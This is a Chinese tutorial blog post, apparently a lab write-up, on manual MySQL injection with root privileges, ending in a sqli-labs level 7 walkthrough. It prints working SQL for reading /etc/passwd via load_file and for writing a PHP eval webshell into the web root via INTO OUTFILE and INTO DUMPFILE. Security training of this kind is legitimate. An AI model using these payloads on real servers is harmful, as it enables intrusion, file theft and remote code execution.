zoukankan      html  css  js  c++  java
  • MySQL手注之ROOT权限处理

    读写操作需要的条件

    正常条件

    • 当前连接到数据库的用户是ROOT权限
    • 网站物路径(可以用报错、phpinfo页面、猜、爆破)

    版本条件

    • 5.5.53之前:secure_file_priv变量默认为空,所以默认情况下是可以直接通过SQL语句来导出文件的
    • 高于5.5:secure_file_priv的值为null,表示不允许导入导出;为/tmp/表示导入导出只能发身在/tmp/目录下;没有具体值时,即' ',表示不对mysql的导入导出做限制

    查看secure-file-priv参数的值

    show global variables like '%secure%'

    MySQL读文件

    函数load_file()

    • select load_file('/etc/passwd');
    • select load_file(0x2f6574632f706173737764);

    MySQL写文件

    into outfile函数

    直接将一句话木马写入

    • 写文件是会在每一行的结束自动加上换行符
    • select '' into outfile '/var/www/html/muma.php';

    设置字符

    select * from tdb_goods where godds_id=1 into outfile "/var/www/html/muma.php" lines starting by '<?php @eval($_POST[pass])?>'

    1. LINES STARTING BY '写入的内容'
    • 设置每行数据开头的字符,可以为单个或多个字符,默认不适用任何字符

    2.LINES TERMINATED BY '写入的内同'

    • 设置每行数据结尾的字符,默认值是" "

    into dumpfile函数

    • 写文件会保持文件得到原生内容,这种方式是对二进制文件是最好的选择
    • select '' into dumpfile '/var/www/html/muma.php';

    SQLI_labs_第7关

    先判断是否存在注入点

    1.想办法让页面出错

    2.构造正确逻辑,使页面返回正常内容

    出错后,我们将单引号去掉(第1步通过'让页面报错,而这里又报错,说明参数并不是字符型)

    3.构造错误逻辑,页面会什么也不显示

    通过第三步的结果,充分说明,我前两部是错的。再来

    先判断是否存在注入点(第二次)

    分析
    首先第一次的第一步,用'导致了报错,这说明对方闭合的末尾肯定是'
    2.构造正确逻辑,返回正确结果
    第一次的第二步 是因为‘存在报错了,认为参数是数字型,目前来看参数不是数字型,参数的闭合还有()存在的可能性

    这里的时候,我在网上找了教程,会发现自己错了两个地方:1、括号是在引号之后 2、两个))

    3. 构造错误逻辑,页面不显示

    但是这里报错了


    尝试是否可以插入文件


    结果告诉我们上传的语法有错误。但是我们去访问我们上传的文件是可以访问到的。 (这也侧面说明检测注入点第三步,逻辑错误语法正确,页面报语法错误)

    上传一句话木马


    通过访问我们上传的路径,可以访问,说明是上传成功了

  • 相关阅读:
    Swing 顶层容器
    创建第一个界面程序
    SWING
    通俗解释高中生能听懂的SVM本质和原理
    [初学者入门]任何机器学习套路?逻辑回归是什么?要有哪些未知参数待求解?如何优化?梯度下降是什么?如何用梯度下降
    贝叶斯公式在机器学习中有什么用,实例讲解Python实现朴素贝叶斯分类器
    通俗易懂适合初学者的机器学习实战(1):k- Nearest Neighbor (k个最近的邻居)KNN算法
    Python从0开始实现Numpy矩阵库,拒绝掉包侠,学习造轮子
    99%的人都会忽略的Python易错点总结
    遇到问题,有哪些有效的分析方法?
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14410867.html
Copyright © 2011-2022 走看看